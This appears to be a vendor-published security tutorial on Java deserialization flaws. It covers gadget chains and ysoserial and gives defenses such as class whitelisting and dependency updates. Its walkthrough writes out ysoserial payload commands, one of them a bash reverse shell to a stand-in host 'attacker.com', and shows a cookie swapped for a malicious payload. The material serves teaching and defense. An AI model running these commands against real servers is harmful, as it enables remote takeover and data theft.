What is Java Deserialization Vulnerability? Ways to Exploit, Examples and Impact
Discover how Java deserialization leads to RCE. Learn to identify gadget chains, use ysoserial, and implement secure coding practices to protect your apps.
In the world of web application security, few vulnerabilities are as feared as Java Deserialization. It is a critical flaw that often leads directly to Remote Code Execution (RCE), allowing an attacker to take complete control over a server by simply sending a specially crafted stream of data. Understanding how this process works—and how it fails—is essential for any developer or security professional working with the Java ecosystem.
What is Serialization and Deserialization in Java?
Before diving into the vulnerability itself, we must understand the legitimate process it exploits. In Java, serialization is the process of converting an object's state (its data and structure) into a byte stream. This byte stream can then be saved to a file, stored in a database, or sent over a network to another Java Virtual Machine (JVM).
Conversely, deserialization is the process of taking that byte stream and reconstructing the original Java object in memory. This is incredibly useful for distributed applications where different components need to share complex data structures.
The Serializable Interface
For a Java class to be serialized, it must implement the java.io.Serializable interface. This is a "marker interface," meaning it has no methods to implement; it simply tells the JVM that the class is allowed to be converted into bytes.
import java.io.Serializable;
public class UserProfile implements Serializable {
private static final long serialVersionUID = 1L;
public String username;
public String role;
public UserProfile(String username, String role) {
this.username = username;
this.role = role;
}
}
To serialize this object, you would use ObjectOutputStream:
FileOutputStream fileOut = new FileOutputStream("user.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(new UserProfile("admin", "superuser"));
out.close();
To deserialize it, you use ObjectInputStream:
FileInputStream fileIn = new FileInputStream("user.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
UserProfile user = (UserProfile) in.readObject();
in.close();
How the Java Deserialization Vulnerability Occurs
The security risk arises when an application performs deserialization on untrusted data provided by a user without sufficient validation.
The core of the problem lies in the readObject() method. When ObjectInputStream.readObject() is called, the JVM doesn't just populate fields; it essentially "re-hydrates" the object. If the class being deserialized has its own custom readObject() method defined, that method is executed automatically during the process.
The "Magic Method" Problem
Attackers look for classes available in the application's classpath (including libraries) that perform dangerous actions within their readObject() or other lifecycle methods (like finalize()). These methods are often referred to as "magic methods" because they trigger automatically. If an attacker can find a sequence of these methods that eventually lead to a dangerous command, they have created what is known as a Gadget Chain.
Understanding Gadget Chains and Exploitation
A "gadget" is a piece of code already present in the application's environment that can be used for a purpose other than its intended one. A gadget chain is a sequence of these gadgets linked together to achieve an objective, such as executing a system command.
The Role of ysoserial
Exploiting Java deserialization manually is incredibly complex. Security researchers use a tool called ysoserial, which contains a collection of known gadget chains found in common Java libraries (like Apache Commons Collections, Spring, and Hibernate).
For example, if an application uses an older version of the Apache Commons Collections library, an attacker can use ysoserial to generate a payload that executes a command:
java -jar ysoserial.jar CommonsCollections1 'calc.exe' > payload.bin
When the vulnerable application deserializes payload.bin, it will trigger the chain and open the calculator on the server.
Identifying the Byte Stream
Java serialized data has a very specific signature. If you see data starting with the following hex bytes, it is almost certainly a Java serialized object:
- Hex:
AC ED 00 05 - Base64:
rO0AB...
Security professionals often search for these patterns in HTTP headers (like cookies), hidden form fields, or API requests to identify potential entry points for Jsmon or other security scanners to analyze.
Practical Example: A Vulnerable Entry Point
Imagine a web application that stores session information in a Base64-encoded cookie.
1. The Legitimate Request:
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session=rO0ABXNyABFjb20uYXBwLlVzZXJEYXRhAAAAAAAAAAEMAAB4cHB3BAAAAAB4
2. The Attacker's Perspective:
The attacker recognizes rO0AB as the start of a Java serialized object. They use ysoserial to generate a payload that performs a reverse shell back to their machine:
java -jar ysoserial.jar CommonsCollections1 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' | base64
3. The Malicious Request:
The attacker replaces the cookie value with their generated Base64 payload:
GET /dashboard HTTP/1.1
Host: example.com
Cookie: session=[LONG_BASE64_PAYLOAD]
When the server-side code executes in.readObject(), it processes the malicious chain, and the attacker receives a shell connection.
The Real-World Impact
The impact of a successful Java deserialization exploit is almost always Critical.
- Remote Code Execution (RCE): The attacker can execute any command with the privileges of the user running the Java application. This usually leads to a full server compromise.
- Data Exfiltration: Once RCE is achieved, the attacker can access databases, configuration files (containing credentials), and sensitive user data.
- Denial of Service (DoS): An attacker can provide a payload that causes the JVM to consume massive amounts of memory or CPU during deserialization, effectively crashing the service.
- Lateral Movement: From the compromised server, the attacker can scan and attack other internal systems that are not exposed to the public internet.
Historically, this vulnerability has affected major platforms and middleware, including JBoss, WebLogic, WebSphere, and Jenkins, leading to massive data breaches.
How to Detect and Prevent Deserialization Attacks
Detecting these vulnerabilities requires a combination of static analysis (looking at code) and dynamic monitoring of the infrastructure.
1. Avoid Deserializing Untrusted Data
The most effective defense is to never call readObject() on data that comes from a user. If you need to pass objects between systems, use safer, language-agnostic formats like JSON or Protocol Buffers. These formats do not inherently support the execution of logic during parsing.
2. Implement Look-Ahead Deserialization
If you must use Java serialization, implement "Look-Ahead" deserialization. This involves overriding the resolveClass method of ObjectInputStream to check the class name before it is actually loaded. You can maintain a "whitelist" of allowed classes.
public class SecureObjectInputStream extends ObjectInputStream {
private static final Set<String> WHITELIST = Set.of("com.app.models.User", "java.util.ArrayList");
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!WHITELIST.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
3. Use SerialKiller or ValidatingObjectInputStream
Libraries like SerialKiller or Apache Commons IO's ValidatingObjectInputStream provide ready-to-use wrappers that implement the whitelist approach mentioned above, making it easier to secure legacy applications.
4. Keep Dependencies Updated
Since many gadget chains rely on vulnerabilities in third-party libraries (like older versions of Commons Collections), keeping your pom.xml or build.gradle dependencies updated is vital. Use Software Composition Analysis (SCA) tools to find vulnerable libraries in your classpath.
5. Network Segmentation and Least Privilege
Run your Java applications with the least privilege necessary. If an RCE occurs, a restricted user account will limit what the attacker can do. Additionally, restrict outbound network connections from your application servers to prevent reverse shells from connecting back to the attacker.
Conclusion
Java Deserialization is a classic example of how a powerful feature can become a dangerous liability when security is not baked into its implementation. For beginners, the key takeaway is simple: never trust data from the outside world, especially when that data is being turned back into complex logic. By understanding the signature of serialized data and the mechanics of gadget chains, you can better defend your applications against one of the most potent attacks in the cybersecurity landscape.
To proactively monitor your organization's external attack surface and catch exposures before attackers do, try Jsmon.